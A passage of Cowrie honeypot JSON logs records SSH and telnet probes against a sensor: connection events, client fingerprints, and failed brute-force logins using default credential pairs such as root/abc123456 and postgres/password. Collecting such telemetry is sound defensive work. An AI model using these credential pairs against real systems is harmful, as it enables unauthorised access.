dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:40.111747Z","src_ip":"91.92.40.153","session":"3b92e6ac9068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pi","message":"login attempt [guest/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:41.898955Z","src_ip":"91.92.40.153","session":"3b92e6ac9068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:43.229843Z","src_ip":"91.92.40.153","session":"3b92e6ac9068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44420,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc9b3c468b6","protocol":"telnet","message":"New connection: 170.64.224.25:44420 (159.203.135.109:23) [session: 5bc9b3c468b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:45.778700Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45654,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3020d337253","protocol":"ssh","message":"New connection: 91.92.40.153:45654 (10.17.0.5:22) [session: e3020d337253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:45.901149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:46.130119Z","src_ip":"91.92.40.153","session":"e3020d337253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:46.133583Z","src_ip":"91.92.40.153","session":"e3020d337253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:46.857689Z","src_ip":"139.99.74.35","session":"a5a4c8ded12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":58620,"dst_ip":"159.203.135.109","dst_port":22,"session":"edb37213fecc","protocol":"ssh","message":"New connection: 139.99.74.35:58620 (159.203.135.109:22) [session: edb37213fecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:47.085606Z"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:47.689695Z","src_ip":"91.92.40.153","session":"e3020d337253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:49.269615Z","src_ip":"91.92.40.153","session":"e3020d337253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45708,"dst_ip":"10.17.0.5","dst_port":22,"session":"d721da378030","protocol":"ssh","message":"New connection: 91.92.40.153:45708 (10.17.0.5:22) [session: d721da378030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:51.471781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:51.842158Z","src_ip":"91.92.40.153","session":"d721da378030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:51.845208Z","src_ip":"91.92.40.153","session":"d721da378030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:51.869933Z","src_ip":"139.99.74.35","session":"edb37213fecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.42297840118408,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:52.075571Z","src_ip":"107.6.151.170","session":"a200d72a040d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":58650,"dst_ip":"159.203.135.109","dst_port":22,"session":"06fea3d75840","protocol":"ssh","message":"New connection: 139.99.74.35:58650 (159.203.135.109:22) [session: 06fea3d75840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:52.104822Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:54.283445Z","src_ip":"91.92.40.153","session":"d721da378030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:55.994369Z","src_ip":"91.92.40.153","session":"d721da378030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:56.895388Z","src_ip":"139.99.74.35","session":"06fea3d75840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":48822,"dst_ip":"10.17.0.5","dst_port":22,"session":"a544abd84a29","protocol":"ssh","message":"New connection: 91.92.40.153:48822 (10.17.0.5:22) [session: a544abd84a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:56.903573Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":35398,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2ff96b6c472","protocol":"ssh","message":"New connection: 139.99.74.35:35398 (159.203.135.109:22) [session: f2ff96b6c472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:57.108706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:57.501119Z","src_ip":"91.92.40.153","session":"a544abd84a29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:57.504262Z","src_ip":"91.92.40.153","session":"a544abd84a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:00.428289Z","src_ip":"91.92.40.153","session":"a544abd84a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38234,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7915b89893c","protocol":"ssh","message":"New connection: 160.187.174.22:38234 (159.203.135.109:22) [session: b7915b89893c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:01.582011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:01.588843Z","src_ip":"160.187.174.22","session":"b7915b89893c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:01.821990Z","src_ip":"160.187.174.22","session":"b7915b89893c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:01.908252Z","src_ip":"139.99.74.35","session":"f2ff96b6c472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:01.978882Z","src_ip":"91.92.40.153","session":"a544abd84a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":35412,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6cf51e86f81","protocol":"ssh","message":"New connection: 139.99.74.35:35412 (159.203.135.109:22) [session: d6cf51e86f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:02.171765Z"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:02.531917Z","src_ip":"160.187.174.22","session":"b7915b89893c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36962,"dst_ip":"159.203.135.109","dst_port":23,"session":"b35f49a2e26e","protocol":"telnet","message":"New connection: 107.6.151.170:36962 (159.203.135.109:23) [session: b35f49a2e26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:03.307864Z"}
{"eventid":"cowrie.session.closed","duration":0.0053253173828125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:03.313148Z","src_ip":"107.6.151.170","session":"b35f49a2e26e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47068,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4d49cc563ca","protocol":"ssh","message":"New connection: 91.92.40.153:47068 (10.17.0.5:22) [session: b4d49cc563ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:03.356406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:03.714798Z","src_ip":"91.92.40.153","session":"b4d49cc563ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:03.718176Z","src_ip":"91.92.40.153","session":"b4d49cc563ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:03.765738Z","src_ip":"160.187.174.22","session":"b7915b89893c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.35667848587036,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:06.135114Z","src_ip":"170.64.224.25","session":"5bc9b3c468b6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:06.507388Z","src_ip":"91.92.40.153","session":"b4d49cc563ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:06.932032Z","src_ip":"139.99.74.35","session":"d6cf51e86f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":34026,"dst_ip":"159.203.135.109","dst_port":22,"session":"c766b11f1049","protocol":"ssh","message":"New connection: 139.99.74.35:34026 (159.203.135.109:22) [session: c766b11f1049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:07.153365Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:08.195109Z","src_ip":"91.92.40.153","session":"b4d49cc563ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47092,"dst_ip":"10.17.0.5","dst_port":22,"session":"d04c3acad40f","protocol":"ssh","message":"New connection: 91.92.40.153:47092 (10.17.0.5:22) [session: d04c3acad40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:08.825724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:09.818770Z","src_ip":"91.92.40.153","session":"d04c3acad40f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:09.821640Z","src_ip":"91.92.40.153","session":"d04c3acad40f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:11.932135Z","src_ip":"139.99.74.35","session":"c766b11f1049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":34054,"dst_ip":"159.203.135.109","dst_port":22,"session":"f771fd47e80c","protocol":"ssh","message":"New connection: 139.99.74.35:34054 (159.203.135.109:22) [session: f771fd47e80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:12.180185Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:12.863817Z","src_ip":"91.92.40.153","session":"d04c3acad40f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":43958,"dst_ip":"10.17.0.5","dst_port":22,"session":"a45bf21cff2e","protocol":"ssh","message":"New connection: 91.92.40.153:43958 (10.17.0.5:22) [session: a45bf21cff2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:14.393093Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:14.883878Z","src_ip":"91.92.40.153","session":"d04c3acad40f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:15.577790Z","src_ip":"91.92.40.153","session":"a45bf21cff2e","protocol":"ssh"}
